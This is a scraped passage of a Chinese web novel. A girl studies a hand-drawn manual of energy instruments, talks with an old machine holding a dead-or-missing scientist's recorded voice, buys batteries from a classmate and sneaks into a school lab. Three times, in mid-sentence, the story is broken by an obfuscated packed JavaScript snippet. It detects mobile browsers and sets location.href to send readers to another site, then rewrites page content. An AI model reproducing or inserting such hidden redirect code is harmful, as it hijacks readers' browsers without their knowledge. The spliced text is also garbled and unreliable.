周宝涂想起那个暴雨夜,昏暗的阁楼里,小猫和他带来的暖意。她眼睛转过一旁,道:“因为突然发现小猫……很好。” 过了第二个红绿灯以后,很快就抵达学校。盛恢锁好车,看向她:“不是因为害怕?” 周宝涂红着脸瞪过去,被他颊边清浅笑意迷了眼睛,又慌乱收回来。 前面远远走来两个和周宝涂相熟的同学,盛恢侧眼看她,道:“下课等我一下,有个东西给你。” 东西?什么东西?还不待她把话问出口,他就走了。 耳边,同学的说话声打断了她的思考,周宝涂只好把好奇的心思放回肚子里。 好不容易熬到下课,几个家住得近的同学喊她一起回家,她也只能婉拒:“你们先走吧,我要等人。” 之前放学后,周宝涂也有好几次和盛恢一起回家,但是从没见他这么磨蹭。女孩在一高一矮两辆自行车旁转来转去,等了或许有五分钟?又或者十分钟?总之在她等得开始揪头发的时候,盛恢终于来了。 “不好意思……”他是跑过来的,额前眼角都浮着薄汗,喘了两口气,胡乱甩了甩脑袋,甩开黏在额前的发丝,才看向她,问:“怎么不坐着等?” “没事。你去做什么了?”人来了,周宝涂立马就精神起来。 她眼里满是期待,盛恢反倒犹豫几秒,才从包里拿出那个“东西”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280279|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小小的方形册子,刚好比周宝涂的手大一圈。她接过去,看见册子正面写了四个大字:勇气宝典。 她垂着脑袋憋笑。 少年耳尖红透,他承认自己或许是没有取名的天赋。 那四个字下面画了一只卡通猫咪,是只三花,卷着尾巴,乖巧又可爱。女孩眼睛微微瞪圆,指尖在那只栩栩如生的小猫身上轻抚了抚,耳边听见少年道:“我画过几次,不太好。班里有同学很擅长这个,今天下课请他帮忙,所以才来晚了。” 轻轻翻开,入目便是少年挺拔方正的字迹。每页纸上都写着一种能量仪器的结构、功能、用途,密密麻麻,无比详细。似乎是知道使用的人会分不清这些大同小异的名字,贴心地附上了每一种仪器的简笔画。 还有格外受到女孩关注的,那些用不同颜色留下的字迹。 “此仪器有两层,请勿旋转,不是乐高玩具。” “此仪器我也没有完全弄明白,等后日更新。” “化学九十五分以下禁止接触这类仪器,致命。” …… 周宝涂低着头,盛恢只能看见她脸颊边一直挂着小小酒窝,忍不住问:“评价一下?” 女孩终于抬头,花苞绽开一样处处荡漾欣喜的小脸撞进少年眼里,她毫不吝啬地夸奖:“好厉害呀!” 如果十分钟前帮盛恢画三花猫的同学还在此地,一定会惊讶于这人竟然还有两幅面孔,刚才是怎样紧催慢赶满脸不耐,现在就有多温和耐心笑意满满。 周宝涂捧着那小册子,爱不释手,翻来看去,倒是让盛恢有些不好意思起来。 “有这么喜欢?” 周宝涂用力点头。小猫和说明书,她现在都拥有了。这个小册子,名副其实。 “现在只能用这种比较朴素的形式,以后有机会,也许可以全面升级一下。” 她把小册子轻轻放回书包里,“升级?这已经很好了,还有更高级的吗……” 说着说着,她又笑起来。盛恢也忍不住笑,却躲开她的眼睛,道:“能量相关的东西,当然是用能量的形式来做。” 周宝涂思维发散开来,问:“那能让我随身都带着吗?或者像芯片一样,植入皮肤……但是会不会痛?” “能,都能,还能让你一闭眼就浮现在脑子里。” “真的吗?”女孩忍不住转头看他,车身摇摇晃晃,她急忙回身,只匆匆瞥见他脸上挂着意味深长的笑。 “……原来是在开玩笑啊。” “倒也不是。只不过植入皮肤的芯片,用能量的形式,恐怕不太行,毕竟能量之间是有可能出现互斥现象的。” 周宝涂天真地许愿:“那如果不会互斥呢?” 路上微风阵阵,少年少女并肩骑行,说话的声音随风飘散,同夕阳一起消失在黄昏的最后一刻。 后面的话题,周宝涂已然记不清了。 她只知道,在不久的未来,盛恢真正踏入能量领域,无数次在这个问题里碰壁,屡屡无法打破瓶颈;而此刻尚未知晓命运安排的她,带着一份懵懂疑惑和那本小小宝典回到家,鼓起勇气,再次打开了父亲的房间。 8. 机器 她再次走到那个把自己吓得半死的机器面前,才忽然发现,它其实并不算大。 重新认真打量过后,周宝涂觉得它甚至比盛恢家的三花猫还要小一些。她照着“说明书”,翻翻找找,直到一整本小册子都快翻完,才在最后几页找到了它的名字。 那名字太长,又拗口难读,周宝涂半点记不住,与之相比,她还是更关心下面那行红色的小字。不同于其他仪器下的注释,这一条倒是有些严肃。 “易损,不能乱碰。” 这话的既视感过于强烈,周宝涂恍惚觉得自己被当头训了一句。她瞥了那注释最后一眼,转去看上面详细非常的使用说明。女孩撑着脑袋坐在地上,耐着性子读完满满几页的字,再看一眼冒着蓝光的机器,眉头蹙得紧紧,像在思考什么。 这个时代,从中学开始,学校就会开设与能量相关的公共课程,普及日常生活中常会出现的能量知识。周宝涂在这种课上总是忍不住走神,老师每说一个名词,她就想到家里放着爸爸的平时工作的手稿。密密麻麻,陌生又复杂。 只是这种联想也有落空的时候。就比如“非自然能量场”,在爸爸的工作手稿里简直司空见惯,然而老师在课上却只是三两句匆匆带过,她还没来得及琢磨,就已经结束了。 剩下其他对这个抽象概念的认识,来源于同学们课间的闲聊。上过好几次能量知识课的孩子们早不像最初那样惊奇震撼,也不再纠缠老师多说多讲,只是指着书上黑字,把它曲解成怪诞恐怖的“变异人”。 周宝涂通常搭着脑袋在旁边听,会插一句:“非自然的能量场又不是只说人……动物,植物,也有这种情况啊。” “动物植物有什么奇怪的?就算变异,无非就是腐烂枯萎,不碰不就好啦。但是人可不一样!” 她回想起父亲手稿上贴着的照片,明明就是正常人的样子,“有什么不一样?” 被问住的同学“哎呀”一声,“不、知、道、啊!你看老师每次讲到这里就跳过了,不觉得奇怪吗?” 旁边有人应和道:“肯定很恐怖,所以才不给我们讲。” 很恐怖吗?那次雷雨夜被说话的机器吓到之后,她默默认同了这个观点。 “不过我现在,有科学的力量,对吧?” 她嘴里小声念着,按照说明书上的指示在机器旁边的按钮上一通操作。 跟着文字行动实在不太容易,周宝涂手心出汗,心想如果以后要升级,先把视频教程做出来就谢天谢地了。 “咔哒”一声,摆弄在女孩手里的机器发出微微蓝光。 不大的机器有一半以上的区域是显示屏,像不断盛水的玻璃杯壁,里面的蓝色光芒渐渐涌高,直到整面屏幕都变成奇异的蓝。周宝涂连眼睛都不敢眨,死死盯着那片蓝色。 就在瞬间,她似乎捕捉到一点白光,不知从何处来,而后很快便消失,再找不着。女孩眼神慌乱起来,屏幕上却在这时骤然闪过一片白。 空白之后,上面缓缓呈现出一张人脸。是一个女人的脸。她闭着眼,神色柔和。 周宝涂的脑子突然不受控地回响起那个雨夜听见的声音。 “雨真大啊。” 那个温柔又空洞的声音,几乎毫无障碍地和眼前这张脸重合起来。女孩的心跳得很快,砰砰作响。她察觉到自己反应过激,于是放下机器,靠在墙边调整呼吸。 再拿起机器时,屏幕上的女人已经睁开眼睛,正盯着她看。周宝涂手一抖,闭了闭自己的眼睛,差点以为今天就要交代在这儿了。 机器里的画面,没有经过操作,怎么会自行变化呢?这实在有些诡异。然而那双眼睛看着周宝涂,她也看着那双眼睛,鼓动的心却意外地迅速平和下来。 周宝涂很确定,自己在这之前并没有见过个人,更不知道心里那股隐隐的熟悉感从何而来。 她还想再看看机器里藏着的其他信息,按照说明书上的步骤又操作一番,结果毫无动静。试了几次之后就不敢再乱碰,她只好关掉机器,放回原位。 在这之后的几天里,周宝涂回到家一有空就钻进房间。这机器大概是有些年头了,常常会突然失灵。周宝涂在父亲房间里折腾机器的事情不敢让家里阿姨知道,常常关着灯一坐就坐到七八点,蚊子叮得浑身都难受。 盛恢的说明书是按照最基础的机器标准来做的,周宝涂一开始用得顺畅,可是渐渐便发现,家里这个机器和“标准机器”有好些出入。 就比如,数据的呈现形式不仅仅是文本数字,还用样本的声音与形象做了即时展现。 ……其实周宝涂也不知道这种“即时展现”的形式到底存不存在,这个词完全是她胡编乱造出来的。虽然毫无根据,但如果不这样形容,她不知道要如何去描述,一个数据收集机器竟然能和人类进行实时对话。 这个机器里的能量数据样本,来源于一个代号“七零零六”的人,她真正的名字没有被记录下来。周宝涂急切地想知道有关她的一切,可是苦于不会操作,焦头烂额,耳边蚊子嗡嗡,她伸手挥开,手臂上又添一股刺痛。 就在这时,黑暗中静默的机器再度发出声音。它问:“你想知道我的故事吗?” 女人的声音还是那般温柔,像从悠远的时光深处传来,令人心悸。于是她没怎么犹豫,控制不住地点了点头。 七零零六号的故事……并不像她的代号那样冰冷刺人。 她曾是一名科研工作者,而且很幸运,她最默契的搭档,是从小一起长大的伙伴。她们朝夕相处,一起研究学习、做项目、谈天说地……可在一次意外后,她彻底失去了她的伙伴。 “那是一个很大的山洞,坍塌的时候,我甚至不知道她到底待在哪里。” 周宝涂认真听着,轻轻摩挲这没有温度的机器。 “你不问问这个故事的后续么?”她似乎笑了一下,好像在讲别人的故事。 没有得到回答,机器里恍惚传出一声叹息。周宝涂恍惚间以为,和自己对话的并不是冰冷机器,而是一个活生生的人。 “很遗憾,这个故事没有后续了。” 她说,对于那时的自己而言,必须找到那个人的欲望已经远远压过求生欲。所以哪怕她幸运地离坍塌口很远,也依旧没能逃过那场灾难。 节哀,周宝涂在心中默念。根据这份记录,数据的主人大概已经不在人世了。可是她不想说出口,哪怕自己执着的尊重只是自我欺骗。 眼前只是一个机器而已,需要什么尊重? “谢谢你。”七零零六说。 周宝涂看向屏幕中的女人,她依旧待在那里,表情却是鲜活生动的,笑盈盈地看着自己。 “……谢我什么?”她惊讶于一个机器能看透自己的心。 “谢谢你来听我的故事。”女人脸上的笑意淡了很多,道:“我知道,我现在的样子应该很奇怪。不过,在那之后,我所有的精力都用在找她这件事上,已经很久没有在意过自己的样子了。真不好意思问这个问题,你会介意吗……会害怕吗?” 她话里透露出一些新的信息,让周宝涂紧绷心情放松了些。总之,这份数据的主人大概在那次意外后捡回了一条命,只是仍在执着,所以她说自己“所有的精力都用在找她这件事上”。 “不会。”她摇头,犹豫半晌,又补了一句:“你很美的。” 女人脸上的笑意蔓延出机器之外,让周宝涂也跟着勾起嘴角。 只是这份温馨没有停留多长时间,一声轻微的响动之后,机器陷入故障,蓝色的屏幕倏然陷入黑暗。徒留一张渐渐僵凝的笑脸,在黑暗中冷却。 周宝涂还想知道关于她的更多事情,也想和她再聊一聊天……有关于她的,也有关于自己的。哪怕她知道这只是一个提前输入好指令和数据的机器而已。 周宝涂没有修机器的能耐,她上网搜罗了很多信息,盛恢给的说明书也快翻烂了,却还是没有头绪。 她着急,又无处下手,全然不知自己已经成了一副痴迷的样子。 家里的保姆芳姨最先察觉这个情况。她一眼就看出来,这几天周宝涂吃饭的时候一直在走神。不是一般的走神,是时而皱眉、时而舒展、时而又忧愁起来的走神。 菜做差了!芳姨熟练地开出诊断。 可后面几天,任她怎么改良菜谱,这孩子还是这幅心不在焉的样子,甚至拿了一本小册子放在桌边,时不时就要看几眼,饭都凉了还没吃上几口。 芳姨纳了闷。 “宝涂,是饭菜不合胃口?不然你直接把想吃的告诉我……” 周宝涂:“啊?” 她摇摇头,说饭菜很好吃,她很爱吃。 芳姨“哎”一声,道:“你这孩子怎么还不好意思起来了,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280280|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好吃的,好吃你能这么食不下咽?你还在长身体呢,乖啊,告诉姨,想吃啥?先说好,油炸的不行,先生特意嘱咐过……” 周宝涂这才反应过来,老实端起饭碗,猛塞了几口,含糊道:“……我真的爱吃,你看……” 没说几个字,饭粒呛进喉咙里,她塞进去的饭菜又被呕出来。 芳姨赶紧去拍她后背,“不好吃就不吃了,怎么还硬塞,整吐了多难受!” 她缓了好一会儿,实在看不下去芳姨又要重新开火的样子,只好说实话。 “芳姨,你别折腾了,我真的不是因为饭菜不合胃口……我只是在纠结一些事情。” “纠结啥也不能耽误吃饭呢。” 周宝涂点点头,表情又变回刚才那样苦大仇深。她咬着筷子咕哝:“但是我真的想不通,一个机器怎么会在没有出现任何故障的情况下无法启动呢?好吧……虽然我也不能确定是不是没有故障,但网上是这么说的……” “机器?”芳姨和她闲聊惯了,也不知个三七二十一,就按自己的理解往上套,“别是没电了吧。姨干活用的那些个机子也老忘充电,干一半熄火,可麻烦了。” 女孩动作一顿,脸色隐隐有些僵硬。 她竟然把这个可能性给忘了。 能量机器专用的电池价格比较昂贵,周宝涂记得父亲偶尔回家时会随身带一块,藏着不让她碰。 芳姨见这孩子好像想说什么,又忽然顿住,沉默下来,一口一口接着吃,只好摇摇头随她去了。 不能问芳姨。虽然家里可能还有电池放着,但要是问了芳姨,她偷偷玩机器的事情一定瞒不过爸爸。 这晚,周宝涂怀着心事入睡。第二天,她把自己存的零花钱全都塞进书包里,而后出了门。 和周宝涂同班的一个刺头儿,家里就做的电池生意,和很多所学校的能量研究社团都有合作,短短几年就发展了成国内最大的能量电池供应商之一。这小刺头儿成绩不好,但在家里吃穿不愁,心思活泛,索性在学校里也做起了“买卖电池”的活儿。找他买电池的学生大多是出于好奇,另外一些就是不知道哪里淘来一些古早仪器,想装新电池重启。总的来说,生意还算不错。 放学后,周宝涂立刻找到这个人。 在男厕所门口。 赵义轩上午谈了一笔“大单子”,口干舌燥,喝了很多水,好不容易挨到下课,终于能来解决这内急大事。他悠哉地洗了手,从厕所里出来,看见走廊边站着一个女孩,是同班同学周宝涂。 “唉,你走错了吧,女厕在楼上。”他心情好,漫不经心地提醒一嘴。 却见那人蹭地走到他面前,瞪着一双乌溜溜的眼睛问他,手里还有没有货。 赵义轩微微汗颜。这丫头看上去老实巴交,问话问的倒是狂野直接,估计之前也买过不少……可到他这儿来是第一次啊。 他表情严肃几分,不由得忧心自己身边是不是早已出现了潜在竞争对手。要是放在之前,他可不会担心这些。只是爸爸说最近这批电池出了点问题,整个公司忙回收忙得焦头烂额,他从家里仓库偷来学校卖的保不准也有次品,一个两个的,是天要断他财路啊? “有是有的,你要买?” “我要两块。” 赵义轩说了价格,话音刚落,她就毫不犹豫地点了头。 一点都不砍价?他咳咳两声,掩饰住自己过于惊讶的反应,要知道早上隔壁班班长买的那三块,可是从早读课砍价砍到最后一节课。 出手这么爽利的客户,可要发展成长期才好啊。 他试探地问:“……没想到你还是个老玩家?” 周宝涂不知道他说的是什么意思,她满脸急切地问:“什么时候可以给我?” “最快也是下午,今天早上的份儿已经卖完了。” 他话音刚落,眼前这人立刻蔫了神色。赵义轩心里大惊,纠结好一会儿才叹了口气,道:“得得得,我柜子里还存了两块,您要是着急,现在就去拿?” 那两块放了好久,本来是存着以备不时之需,或者哪天碰上大客户了直接甩出去当赠品的。做生意嘛……手里总要一直抓着点东西才能安心。 现在……赵义轩咬咬牙,又看一眼身后跟着他爬楼梯,累得气喘吁吁的女孩。 人不可貌相啊。算了,能套住大客户,也值了。 9. 电池 周宝涂身体素质没有同龄人好,稍微累一些就会感觉胸闷头疼,只是心里挂着那两块电池,强撑着跟上赵义轩。 能量仪器在外观上更像是放大版的纽扣电池,一粒扁圆落在手上,轻飘飘的,半点重量也没有。她盯着看了好一会儿,才翻开书包掏出自己之前放的零钱,刚好够买下两个电池。 赵义轩看着她手里零零碎碎的散钱,心里微微发凉,他该不会是判断失误了吧…… 要知道,在收钱之前,他可是都已经准备好接受“大客户”慷慨赠予的服务小费了! “唉,不瞒你说,其实我今早的生意早已经做完了,现在算是额外服务。”赵义轩忽然收手过身后,侧着身子和她说话:“而且这两个电池算是镇店之宝,怎么说也不止刚才那个价,你说是不是。” “你怎么这样!”周宝涂捏着手里的钱,难以置信地瞪着他。 这已经是她自己手里能拿出的全部了,从初中存到现在,早上一张张碾直放平了带过来,心里像在滴血。 女孩的控诉简单得没有半点攻击力,却比之前任何唇枪舌战都让他支吾失语。赵义轩眼睛眨了半天才接下去,“……不加价也行啊,你等下午呗……如果我能记得住的话。” 凭着“半个商人”的直觉,他猜对了,周宝涂确实很着急要货,听了这话急得脸色发红,犹犹豫豫,手里的钱也捏得皱巴巴。 一个冷静的谈判家,善于等待。他不说话,静静看着这人,气氛越来越僵,她终于没能抗住这股压力,低低地问:“你想要多少钱?” 赵义轩比了两个手指头,“再加两千。服务费五百,镇店之宝额外价值一千五。” 周宝涂闷闷地“嗯”了一声,抬眼看他移到身前的手,嗫嚅道:“我下午一定把钱带给你,只是这两个电池能不能先让我带走,我真的需要它们……” 赵义轩皱眉,又听见她说:“我一定会把钱带来的!如果我没有遵守诺言,你大可以告诉老师……” 她放声保证的话音未落,就被门口倏然出现的人打断—— “确实是该告诉老师。” 那人站在门边,半个身子还映着外面盛满走廊的阳光,暖调却怎么也遮不去脸上的郁色。 赵义轩“嘿”一声,“您哪位啊?管得够宽啊!” 生意就快谈成了,他正要理论一番,赶走这不速之客,却见这人身后跟着走进来一张熟悉面孔,是学校里能量研究社团的社长,比他大两届的学长,很有威望。 “是我请来的小顾问,怎么了,你有意见啊?” 赵义轩立马迎上去,“学长,您怎么来找我了?有什么事儿直接喊我去找您不就好了,还要辛苦多跑一趟。” 学长哼笑,看向他手里遮遮掩掩藏着的电池,“不来怎么知道你做这生意还欺负同学啊?” “哎!生意人的事,哪能叫欺负——” “你别给我装傻。你们家大公司都全回收了,你这小作坊还敢往外卖,脑子没带出门是不是?” 学长发威,赵义轩心里知道不妙,唯唯诺诺起来,不敢再随便开玩笑。 “这件事你应该是最早知道的吧?你别告诉我,你爸连这都没和你说。退一步啊,就算你真不知道,这几天社里因为电池出了问题忙里忙外的你也不知道?义轩啊……我原本还很看好你做社团二把手,现在看来要重新考虑了。” 赵义轩哑口无言,学长见差不多了,瞥一眼身旁进了教室后就一言不发的盛恢,看他脸色沉得厉害,一直盯着对面的女孩。 不过这幅样子他倒是眼熟得很。上次这人叫他帮忙画那要求甚多的三花猫简笔画时,也是这个表情。 他不禁有些纳闷儿。自己从两年前到今天已经向盛恢抛过数次橄榄枝,邀请他加入社团,可这尊大佛怎么也请不来,问就是没空,要多敷衍有多敷衍。这次电池出事回收,社里很多机器都停用了,好几个正在进行的实验都要被迫中止,他作为社长忙得上气不接下气。 焦头烂额间想起上回好不容易帮盛恢画了只猫,终于还是借着还人情的由头把他诓来社团里当白工。还好盛恢虽然耐心差,但工作态度优秀,没对社里除了他以外的任何人发过火。 难不成今天实在是被他压榨得过头,又碰上这“非法买卖”,终于要引爆线头了? 盛恢确实是快引爆线头了。 尤其是看见她蹙着眉头,为难又无措地站在那里,手里还攥着不知道存了多久的零花钱,时不时抬眼看他一下,但更多时候是看在赵义轩手里那两块电池。 “学长,我真不知道……这段时间我不卖了,成吗?” “你现在倒是知道怕了,那怎么不知道售出问题电池,有可能会导致更多不可控的事情发生?退一步讲,这东西伤不了人,但要是把别人的宝贝机子弄坏了,你再有钱,还能重新造一个出来吗?” 赵义轩瘪嘴嘟囔:“那是国家保密技术,我又不是能监局的,我怎么会做……” “你别说话了,手里东西拿出来。” 他肉疼得很,只是不待伸手,空气中的氛围倏然紧绷起来,身后传来女孩着急的阻拦声:“那是我跟他买的!” 几道视线都罩在身上,周宝涂硬着头皮补充:“……已经是我的了。” 她缩着脖子,眼神躲闪,生怕触碰身侧那道尤为炙热的视线。 赵义轩向她投去敬佩的目光,都被抓包了,还能这么坚持不懈。再看学长,脸上不像刚才对他那样冷漠,倒是多了些为难。 “同学,这些问题电池是要回收的,我们不可能让你们的交易进行下去。再说,他拿次品来诓人,你现在也知道了,还要白费钱吗?” “唉!学长,我还是要澄清一下,我手里这两块不是啊,从我做生意第一天就放到现在,算起来都是古董级了,你不能乱污蔑……”后面几个字在学长迫人的眼神下销声匿迹。 周宝涂顾不得那么多,她把手里的钱放进赵义轩没有关紧的柜子里,而后毫不犹豫地抬脚上前,竟是个要上手去抢的动作。只是这动作起势快,落得更快。她前脚迈出去,后脚还黏着地,就叫面前如松一般高大挺直的少年身板挡住。 视线连他肩膀都越不过去。 周宝涂急得下意识要推开他,猝不及防听见这人开口道:“给她吧。” 盛恢看了一眼她微微发红的眼角,转头对着身后二人,又道一句:“买都买了。” 赵义轩不太能理解怎么这从进门开始就面带煞意的人怎么突然变得这么好说话,只好转头去看学长,见他一脸若有所思的样子,心里更疑惑。 “买都买了,你说呢?我看你狮子大开口要的两百块也别加了,人家心意诚着呢。” 学长明明是在点自己的名,赵义轩却隐约觉得这话并不是在和他说,听见到手的两百块飞了,登时满脸苦涩。 周宝涂把两块电池揣进怀里,只来得及说一声谢谢,又轻轻向盛恢多道一句谢,半点再待不下去,小跑着出了教室。 未成年买卖能量电池明面上是不被允许的。从教室离开后,一直到进家门的时间里,周宝涂都在想,盛恢怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280281|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么轻易就睁只眼闭只眼了。按他的性格,对这种偷偷摸摸的事情,不应该是这样的态度……更何况,刚才在教室里,她已经很明显地感觉到了来自那人身上的怒意。 他气什么呢?气她不知死活险些被骗,还是气她胆大包天不守规矩? ……总之无论是哪种,现在高高举起轻轻落下,她反而有些不知所措。 只是这心事并没能让少女挂念多久。那天之后,恰好迎来节假日,周宝涂头一次没有因为爸爸忙碌无法回家而难过。相反,她暗暗高兴自己能因此光明正大地折腾他的机器。 换了新电池,机器成功恢复运作,周宝涂如愿以偿,和它聊了整晚,熬得眼睛通红。 第二天,机器又出问题,彻底不运转了,任周宝涂把两块新电池拆来卸去也没用。 她换了出门的衣服,拿了一个小挎包,把机器装进去,而后直奔学校能量研究社。因为能量仪器的性质比较特殊,研究社的办公室并没有和其他社团邻近,而是单独设在教师办公楼的一楼。 周宝涂揣着小包,步子飞快,走近一楼时,却隐约听见有人说话的声音。 靠近再听,才发现这动静还不是三两人能发出的,里面至少待了十来人。难道是能量电池回收的事情还没结束,所以研究社的人都在坚守阵地吗? 周宝涂绕到办公楼后面,踩在松软草地上,没有半点声响。社团办公室的窗口在没人的时候都紧闭着,而现在,就在她半寸之外的墙面上,窗口大开着。 她心跳得飞快,蹲在墙边,听着里面动静。大概是工作在收尾,大家都开始闲聊。 虽是占用假期,研究社的同学却没什么怨言。如果放在平常,大概就是能进来多摸会儿仪器,一饱眼福足矣;今天却要更复杂一些,不仅是为了摸宝贝,更多的还是想和社长请来的那位外援多说上几句话。 “盛学长,我这观察器数据跳动幅度太大了吧,明明早上才换了新样本的……真摸不着头脑。” 盛恢刚帮忙调试完三台机器,转头朝说话的同学方向飞速看了一眼,道:“样本量太大了没发现吗,花都要长出来了。” 那同学红着脸把样本瓶里过量的兰花取出一些,周围响起隐隐笑声。在实验室最后面收拾杂物的社长抬头看了眼,见盛恢又被另一个人叫过去,憋住嘴边笑意,默默转回身去。 原本按学校的意思,换掉这批能量电池,所有接电仪器都只能停止运行,很多学生实验也会因为突然中止而作废。作为社长,他有义务保护大家的成果,但要保存临时数据需要对机器进行极其复杂的调试改动,如果没有盛恢帮忙,还真没办法在电池全部回收前完成所有机器的设置。 收尾工作落幕后,实验室里的同学陆续离开,只剩下两人。 “兄弟,谢了,这回可帮了我大忙。一起吃饭去?我请。” 盛恢太够意思了,他也不好心安理得占人便宜,毕竟拉外援的体验实在不错,把人也哄好了,说不准还有下次。 “不用了,你先回去吧。” “啊?你……你不走?” “嗯,你不是有急事?先回吧。”他似乎是才察觉对方不解的反应,又指了指面前某个仪器,“这个机子还要等会儿,我弄好再走。” 忙都帮了,还要帮他连残局也顺带收拾干净,还有什么好说的。狠狠抱了抱兄弟的肩膀后,社长扬长而去。 人一走,似有似无流连在机器上的目光瞬间收了回来。盛恢面无表情地走到窗边,探出半个身子往外,毫不意外看见了靠在窗边的人。 10. 修理 周宝涂原打算等个合适的时机,可这一等就等了很久。通宵过后,兴奋渐渐散去,困意也越来越浓。她眼皮沉得抬不起来,抱着机器,靠在窗边,意识渐渐昏沉。接近中午,阳光滚烫起来,蔓过大半校园,也淹没办公楼后那片绿地。周宝涂朦胧间只觉得越来越热,脸上还有股隐隐的痒意。 她无意识地哼了声,那痒意瞬间变成了轻微痛意。这股刺激唤醒了放松警惕的人,她猛然惊醒,懵了会儿,才摸摸脸颊。忽略那股若有若无的痛意,周宝涂小心翼翼伸头往窗内看了一眼。 实验室里空无一人。但窗没关,或许还有人在外面,不知道什么时候会再进来。周宝涂赶紧扒着窗沿翻进去,她动作笨拙,又紧张,差点重重摔在地上。 窗口视线死角的储物柜后,少年靠在墙边,静静看着她一举一动。 那边顺利潜入的女孩似乎在第一步就陷入了困境。她沿着实验台绕了一圈,弯着腰仔仔细细观察,似乎在找什么东西,但一直没找着。放慢速度又找了两圈,还是没找见,才终于把目光投向其他地方。 两张实验台的中间,夹着一个半透明袋子。 盛恢看见她忽然激动起来,蹲在地上,从身上小挎包里取出一个方形机器,三两下拆了里面的电池。 而后盯着那袋子看了好一会儿,才下定决心似的深深吸了口气,从里面取出两块能量电池,重新装回机器空荡的凹槽里。她屏着呼吸等待。机器却仍然没有半点动静。 这下就可以彻底排除电池的问题了。她失落地拆开这两块绝对无误的电池,一时没拿住,摔出一块来。 她伸手往那个稍微有些远的位置够那块电池,余光却瞥见不远处的实验柜后面,隐约有个人影。 心脏瞬间停跳。 手心冒出冷汗,电池差点滑出去。她险险抓稳,直起身子以后,脑子还是一团浆糊。 她提着小挎包,看一眼窗口,脚动了动,刚要迈步,又慢慢缩回去。 这人在观察呢,如果她就这样慌里慌张地跑了,不是更像在做坏事吗。周宝涂脑子里风云变幻,落在盛恢眼里全成了无意义的发呆。 偷偷摸摸进实验室来就算了,还一点警觉意识都没有,不赶紧走,等着人来逮她吗。 窗外风声孤单单簌簌吹了半晌,才被一道突兀的叹气声扰乱。 “欸,数来数去,都是九十八块,我把这两块放回去,就是一百块……这数字,很圆满嘛!” 盛恢看见她把小挎包挂在身前,提着那个半透明的袋子,继续“喃喃自语”。 “一点也没少,一点也没坏,实验室的学长学姐们都很认真负责呢……呃,这个,这个……” 她绞尽脑汁想着,还能说什么来证明自己的清白。 “我看袋子有点松了,绑了两个节,这样就不会掉出来了,很安全的。” 眼看着袋子也合上,没有什么环节了,这人终于打算离开。只是怎么……还一步三回头呢。 周宝涂是真担心自己一露出要走的迹象,就会惊到那个躲起来的人,导致局面彻底失控。 苍天在上,从家到学校,她这一路上完全是多巴胺驱使,理智宕机了。谁想到实验室真的开着门,好巧不巧,又真的让她瞎闯进来了呢…… 她慢腾腾挪到窗边,手扶着窗沿,正要往外钻,实验室外忽然传来一阵响动。 有人回来了! 周宝涂慌得不知道该往哪儿钻,一着急,动作倒是快了许多,不管不顾跨上窗沿,往外跳时小挎包的带子却卡在窗边的铁丝扣上。 那铁丝扣风吹雨打这些年,锈迹斑斑,尖锐的一头插进柔软布带里,一拔出来就牵扯出丝丝缕缕线头。周宝涂忍痛割爱,力气却不够用,怎么也拔不出来。慌乱间,有只手伸过来,握在她手里那截布带的上方,瞬间用力,小挎包掉到窗外草地上。 盛恢收回手,去挡那窗侧锋利铁框,一只手虚扶着人,看她着急忙慌地跳出去捡起那个小包。这才回头看,是刚才离开的社长返了回来。 “哎,我忘记拿电池了。已经跟老师那边拖了好几天,再不回收可要被骂了。”社长走到两个实验台中间,见原本放在地上的袋子被放在桌面上,还打了个死结,不由得有些疑惑。 他记得走之前是塞在地上的啊,再说,是谁这么好心还帮他上了结? 见他看过来,盛恢煞有其事地点头示意,“顺手,不用谢。” “兄弟,太细心了。”社长深信不疑,“这下可欠你两个人情,什么时候还让我帮忙画画……” “那张台子,能用吗?”盛恢伸手打住他的话,指了指实验台其中一张。 “用呗,数据都存好了,你就是炸了它都成。” 里面的说话声又一阵后,归于安静。 周宝涂一直缩在墙角,没有离开。里面没了动静后,她从窗口探进去,里面只剩下盛恢一个人。 她心里自然是很纠结复杂的,可是对面的人似乎没有搭理她的意思。他穿着实验服,在实验台前,不知道在鼓捣什么。头稍稍侧着,从窗边的视线只能看见细碎刘海下那双专注的眼睛。 不知过了多久,那双眼睛动了动,瞥向窗边那个一动不动的人影。 一直杵在那儿,没有被他的冷漠吓走,也不知道说句话,看着一副老实乖巧的样子,心里指不定在想什么歪主意。 只不过现在的周宝涂心里可没什么坏主意,她慌得很,故作镇定太久,就快镇不下去了。 盛恢起身朝她走过来时,她才刚翻个半个身子进屋,还有一只腿挂在窗边。察觉到他的靠近,周宝涂一咕噜滚下来,抬头见他眉头紧锁,揪着手站在原地,“对不起……” 